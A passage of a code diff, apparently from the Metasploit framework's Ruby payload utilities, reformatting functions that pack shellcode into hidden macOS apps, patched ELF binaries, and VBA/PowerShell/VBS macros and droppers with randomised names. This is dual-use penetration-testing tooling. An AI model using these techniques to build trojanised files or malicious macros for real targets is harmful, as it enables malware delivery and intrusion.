.app directory + def self.to_osx_app(exe, opts = {}) + exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } + app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } + hidden = opts.fetch(:hidden, true) + plist_extra = opts.fetch(:plist_extra, '') + + app_name.chomp!('.app') + app_name += '.app' + + visible_plist = if hidden + %( LSBackgroundOnly 1 - | - else - '' - end + ) + else + '' + end - info_plist = %Q| + info_plist = %( @@ -1012,746 +926,788 @@ def self.to_osx_app(exe, opts = {}) #{plist_extra} - | - - zip = Rex::Zip::Archive.new - zip.add_file("#{app_name}/", '') - zip.add_file("#{app_name}/Contents/", '') - zip.add_file("#{app_name}/Contents/Resources/", '') - zip.add_file("#{app_name}/Contents/MacOS/", '') - # Add the macho and mark it as executable - zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777 - zip.add_file("#{app_name}/Contents/Info.plist", info_plist) - zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') - zip.pack - end - - # Create an ELF executable containing the payload provided in +code+ - # - # For the default template, this method just appends the payload, checks if - # the template is 32 or 64 bit and adjusts the offsets accordingly - # For user-provided templates, modifies the header to mark all executable - # segments as writable and overwrites the entrypoint (usually _start) with - # the payload. - # @param framework [Msf::Framework] The framework of you want to use - # @param opts [Hash] - # @option [String] :template - # @param template [String] - # @param code [String] - # @param big_endian [Boolean] Set to "false" by default - # @return [String] - def self.to_exe_elf(framework, opts, template, code, big_endian=false) - if elf? code - return code - end + ) - # Allow the user to specify their own template - set_template_default(opts, template) - - # The old way to do it is like other formats, just overwrite a big - # block of rwx mem with our shellcode. - #bo = elf.index( "\x90\x90\x90\x90" * 1024 ) - #co = elf.index( " " * 512 ) - #elf[bo, 2048] = [code].pack('a2048') if bo - - # The new template is just an ELF header with its entry point set to - # the end of the file, so just append shellcode to it and fixup - # p_filesz and p_memsz in the header for a working ELF executable. - elf = self.get_file_contents(opts[:template]) - elf << code - - # Check EI_CLASS to determine if the header is 32 or 64 bit - # Use the proper offsets and pack size - case elf[4,1].unpack("C").first - when 1 # ELFCLASS32 - 32 bit (ruby 1.9+) - if big_endian - elf[0x44,4] = [elf.length].pack('N') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz - else # little endian - elf[0x44,4] = [elf.length].pack('V') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz - end - when 2 # ELFCLASS64 - 64 bit (ruby 1.9+) - if big_endian - elf[0x60,8] = [elf.length].pack('Q>') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz - else # little endian - elf[0x60,8] = [elf.length].pack('Q<') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz + zip = Rex::Zip::Archive.new + zip.add_file("#{app_name}/", '') + zip.add_file("#{app_name}/Contents/", '') + zip.add_file("#{app_name}/Contents/Resources/", '') + zip.add_file("#{app_name}/Contents/MacOS/", '') + # Add the macho and mark it as executable + zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777 + zip.add_file("#{app_name}/Contents/Info.plist", info_plist) + zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') + zip.pack end - else - raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" - end - elf - end + # Create an ELF executable containing the payload provided in +code+ + # + # For the default template, this method just appends the payload, checks if + # the template is 32 or 64 bit and adjusts the offsets accordingly + # For user-provided templates, modifies the header to mark all executable + # segments as writable and overwrites the entrypoint (usually _start) with + # the payload. + # @param framework [Msf::Framework] The framework of you want to use + # @param opts [Hash] + # @option [String] :template + # @param template [String] + # @param code [String] + # @param big_endian [Boolean] Set to "false" by default + # @return [String] + def self.to_exe_elf(framework, opts, template, code, big_endian = false) + if elf? code + return code + end - # Create a 32-bit Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_x86_elf(framework, code, opts = {}) - default = true unless opts[:template] + # Allow the user to specify their own template + set_template_default(opts, template) + + # The old way to do it is like other formats, just overwrite a big + # block of rwx mem with our shellcode. + # bo = elf.index( "\x90\x90\x90\x90" * 1024 ) + # co = elf.index( " " * 512 ) + # elf[bo, 2048] = [code].pack('a2048') if bo + + # The new template is just an ELF header with its entry point set to + # the end of the file, so just append shellcode to it and fixup + # p_filesz and p_memsz in the header for a working ELF executable. + elf = get_file_contents(opts[:template]) + elf << code + + # Check EI_CLASS to determine if the header is 32 or 64 bit + # Use the proper offsets and pack size + case elf[4, 1].unpack('C').first + when 1 # ELFCLASS32 - 32 bit (ruby 1.9+) + if big_endian + elf[0x44, 4] = [elf.length].pack('N') # p_filesz + elf[0x48, 4] = [elf.length + code.length].pack('N') # p_memsz + else # little endian + elf[0x44, 4] = [elf.length].pack('V') # p_filesz + elf[0x48, 4] = [elf.length + code.length].pack('V') # p_memsz + end + when 2 # ELFCLASS64 - 64 bit (ruby 1.9+) + if big_endian + elf[0x60, 8] = [elf.length].pack('Q>') # p_filesz + elf[0x68, 8] = [elf.length + code.length].pack('Q>') # p_memsz + else # little endian + elf[0x60, 8] = [elf.length].pack('Q<') # p_filesz + elf[0x68, 8] = [elf.length + code.length].pack('Q<') # p_memsz + end + else + raise 'Invalid ELF template: EI_CLASS value not supported' + end + + elf + end - if default - elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code) - else - # Use set_template_default to normalize the :template key. It will just end up doing - # opts[:template] = File.join(opts[:template_path], opts[:template]) - # for us, check if the file exists. - set_template_default(opts, 'template_x86_linux.bin') - - # If this isn't our normal template, we have to do some fancy - # header patching to mark the .text section rwx before putting our - # payload into the entry point. - - # read in the template and parse it - e = Metasm::ELF.decode_file(opts[:template]) - - # This will become a modified copy of the template's original phdr - new_phdr = Metasm::EncodedData.new - e.segments.each { |s| - # Be lazy and mark any executable segment as writable. Doing - # it this way means we don't have to care about which one - # contains .text - s.flags += [ "W" ] if s.flags.include? "X" - new_phdr << s.encode(e) - } - - # Copy the original file - elf = self.get_file_contents(opts[:template], "rb") - - # Replace the header with our rwx modified version - elf[e.header.phoff, new_phdr.data.length] = new_phdr.data - - # Replace code at the entrypoint with our payload - entry_off = e.addr_to_off(e.label_addr('entrypoint')) - elf[entry_off, code.length] = code - end + # Create a 32-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_x86_elf(framework, code, opts = {}) + default = true unless opts[:template] + + if default + elf = to_exe_elf(framework, opts, 'template_x86_linux.bin', code) + else + # Use set_template_default to normalize the :template key. It will just end up doing + # opts[:template] = File.join(opts[:template_path], opts[:template]) + # for us, check if the file exists. + set_template_default(opts, 'template_x86_linux.bin') + + # If this isn't our normal template, we have to do some fancy + # header patching to mark the .text section rwx before putting our + # payload into the entry point. + + # read in the template and parse it + e = Metasm::ELF.decode_file(opts[:template]) + + # This will become a modified copy of the template's original phdr + new_phdr = Metasm::EncodedData.new + e.segments.each do |s| + # Be lazy and mark any executable segment as writable. Doing + # it this way means we don't have to care about which one + # contains .text + s.flags += [ 'W' ] if s.flags.include? 'X' + new_phdr << s.encode(e) + end + + # Copy the original file + elf = get_file_contents(opts[:template], 'rb') + + # Replace the header with our rwx modified version + elf[e.header.phoff, new_phdr.data.length] = new_phdr.data + + # Replace code at the entrypoint with our payload + entry_off = e.addr_to_off(e.label_addr('entrypoint')) + elf[entry_off, code.length] = code + end - elf - end + elf + end - # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_bsd_x86_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x86_bsd.bin", code) - end + # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_bsd_x86_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x86_bsd.bin', code) + end - # Create a 64-bit Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_bsd_x64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x64_bsd.bin", code) - end + # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_bsd_x64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x64_bsd.bin', code) + end - # Create a 32-bit Solaris ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_solaris_x86_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x86_solaris.bin", code) - end + # Create a 32-bit Solaris ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_solaris_x86_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x86_solaris.bin', code) + end - # Create a 64-bit Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_x64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x64_linux.bin", code) - end + # Create a 64-bit Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_x64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x64_linux.bin', code) + end - # Create a 32-bit Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_x86_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code) - end + # Create a 32-bit Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_x86_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x86_linux_dll.bin', code) + end - # Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_aarch64_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code) - end + # Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_aarch64_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_aarch64_linux_dll.bin', code) + end - # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_x64_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code) - end + # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_x64_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_x64_linux_dll.bin', code) + end - # self.to_linux_armle_elf - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_armle_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_armle_linux.bin", code) - end + # self.to_linux_armle_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_armle_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_armle_linux.bin', code) + end - # self.to_linux_armle_elf_dll - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf-so - def self.to_linux_armle_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code) - end + # self.to_linux_armbe_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_armbe_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_armbe_linux.bin', code, true) + end - # self.to_linux_aarch64_elf - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_aarch64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_aarch64_linux.bin", code) - end + # self.to_linux_zarch_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_zarch_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_zarch_linux.bin', code, true) + end + # self.to_linux_armle_elf_dll + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf-so + def self.to_linux_armle_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_armle_linux_dll.bin', code) + end - # self.to_linux_ppc64_elf - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_ppc64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_ppc64_linux.bin", code, true) - end - # self.to_linux_mipsle_elf - # Little Endian - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_mipsle_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) - end + # self.to_linux_aarch64_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_aarch64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_aarch64_linux.bin', code) + end - # self.to_linux_mipsbe_elf - # Big Endian - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_mipsbe_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) - end + # self.to_linux_ppc64le_elf + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_ppc64le_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_ppc64le_linux.bin', code) + end - # Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_riscv64le_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_riscv64le_linux.bin", code) - end + # self.to_linux_ppc_elf + # + # @param framework [msf::framework] + # @param code [string] + # @param opts [hash] + # @option [string] :template + # @return [string] returns an elf + def self.to_linux_ppc_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_ppc_linux.bin', code, true) + end - # Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_riscv64le_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_riscv64le_linux_dll.bin", code) - end + # self.to_linux_ppce500v2_elf + # + # @param framework [msf::framework] + # @param code [string] + # @param opts [hash] + # @option [string] :template + # @return [string] returns an elf + def self.to_linux_ppce500v2_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_ppce500v2_linux.bin', code, true) + end - # Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_riscv32le_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_riscv32le_linux.bin", code) - end + # self.to_linux_mipsle_elf + # Little Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_mipsle_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_mipsle_linux.bin', code) + end - # Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_riscv32le_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_riscv32le_linux_dll.bin", code) - end + # self.to_linux_mipsbe_elf + # Big Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_mipsbe_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_mipsbe_linux.bin', code, true) + end - # Create a LOONGARCH64 64-bit LE Linux ELF containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_loongarch64_elf(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_loongarch64_linux.bin", code) - end + # self.to_linux_mips64_elf + # Big Endian + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_mips64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_mips64_linux.bin", code, true) + end - # Create a LOONGARCH64 64-bit LE Linux ELF_DYN containing the payload provided in +code+ - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] Returns an elf - def self.to_linux_loongarch64_elf_dll(framework, code, opts = {}) - to_exe_elf(framework, opts, "template_loongarch64_linux_dll.bin", code) - end + # Create a RISC-V 64-bit LE Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv64le_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_riscv64le_linux.bin', code) + end - # self.to_exe_vba - # - # @param exes [String] - def self.to_exe_vba(exes='') - exe = exes.unpack('C*') - hash_sub = {} - idx = 0 - maxbytes = 2000 - var_base_idx = 0 - var_base = Rex::Text.rand_text_alpha(5).capitalize - - # First write the macro into the vba file - hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize - hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s - hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s - hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8) - - # Function 1 extracts the binary - hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s - - # Function 2 executes the binary - hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s - - hash_sub[:data] = "" - - # Writing the bytes of the exe to the file - 1.upto(exe.length) do |pc| - while c = exe[idx] - hash_sub[:data] << "&H#{("%.2x" % c).upcase}" - if idx > 1 && (idx % maxbytes) == 0 - # When maxbytes are written make a new paragrpah - hash_sub[:data] << "\r\n" - end - idx += 1 + # Create a RISC-V 64-bit LE Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv64le_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_riscv64le_linux_dll.bin', code) end - end - read_replace_script_template("to_exe.vba.template", hash_sub) - end + # Create a RISC-V 32-bit LE Linux ELF containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv32le_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_riscv32le_linux.bin', code) + end - # self.to_vba - # - # @param framework [Msf::Framework] - # @param code [String] - # @param opts [Hash] Unused - def self.to_vba(framework,code,opts = {}) - hash_sub = {} - hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - - # put the shellcode bytes into an array - hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) - - read_replace_script_template("to_mem.vba.template", hash_sub) - end + # Create a RISC-V 32-bit LE Linux ELF_DYN containing the payload provided in +code+ + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] Returns an elf + def self.to_linux_riscv32le_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_riscv32le_linux_dll.bin', code) + end - # self.to_powershell_vba - # - # @param framework [Msf::Framework] - # @param arch [String] - # @param code [String] - # - def self.to_powershell_vba(framework, arch, code) - template_path = Rex::Powershell::Templates::TEMPLATE_DIR + def self.to_linux_loongarch64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_loongarch64_linux.bin', code) + end - powershell = Rex::Powershell::Command.cmd_psh_payload(code, - arch, - template_path, - encode_final_payload: true, - remove_comspec: true, - method: 'reflection') + def self.to_linux_loongarch64_elf_dll(framework, code, opts = {}) + to_exe_elf(framework, opts, 'template_loongarch64_linux_dll.bin', code) + end - # Initialize rig and value names - rig = Rex::RandomIdentifier::Generator.new() - rig.init_var(:sub_auto_open) - rig.init_var(:var_powershell) + # self.to_exe_vba + # + # @param exes [String] + def self.to_exe_vba(exes = '') + exe = exes.unpack('C*') + hash_sub = {} + idx = 0 + maxbytes = 2000 + var_base_idx = 0 + var_base = Rex::Text.rand_text_alpha(5).capitalize + + # First write the macro into the vba file + hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize + hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s + hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s + hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15)) + + # Function 1 extracts the binary + hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s + + # Function 2 executes the binary + hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s + + hash_sub[:data] = '' + + # Writing the bytes of the exe to the file + 1.upto(exe.length) do |_pc| + while (c = exe[idx]) + hash_sub[:data] << "&H#{('%.2x' % c).upcase}" + if idx > 1 && (idx % maxbytes) == 0 + # When maxbytes are written make a new paragrpah + hash_sub[:data] << "\r\n" + end + idx += 1 + end + end - hash_sub = rig.to_h - # VBA has a maximum of 24 line continuations - line_length = powershell.length / 24 - vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"' + read_replace_script_template('to_exe.vba.template', hash_sub) + end - hash_sub[:powershell] = vba_psh + # self.to_vba + # + # @param framework [Msf::Framework] + # @param code [String] + # @param opts [Hash] Unused + def self.to_vba(framework, code, opts = {}) + hash_sub = {} + hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize + + # put the shellcode bytes into an array + hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) + + read_replace_script_template('to_mem.vba.template', hash_sub) + end - read_replace_script_template("to_powershell.vba.template", hash_sub) - end + # self.to_powershell_vba + # + # @param framework [Msf::Framework] + # @param arch [String] + # @param code [String] + # + def self.to_powershell_vba(framework, arch, code) + template_path = Rex::Powershell::Templates::TEMPLATE_DIR + + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') + + # Initialize rig and value names + rig = Rex::RandomIdentifier::Generator.new + rig.init_var(:sub_auto_open) + rig.init_var(:var_powershell) + + hash_sub = rig.to_h + # VBA has a maximum of 24 line continuations + line_length = powershell.length / 24 + vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"' + + hash_sub[:powershell] = vba_psh + + read_replace_script_template('to_powershell.vba.template', hash_sub) + end - # self.to_exe_vba - # - # @param exes [String] - # @param opts [Hash] - # @option opts [String] :delay - # @option opts [String] :persists - # @option opts [String] :exe_filename - def self.to_exe_vbs(exes = '', opts = {}) - delay = opts[:delay] || 5 - persist = opts[:persist] || false - - hash_sub = {} - hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' - hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64' - hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes) - 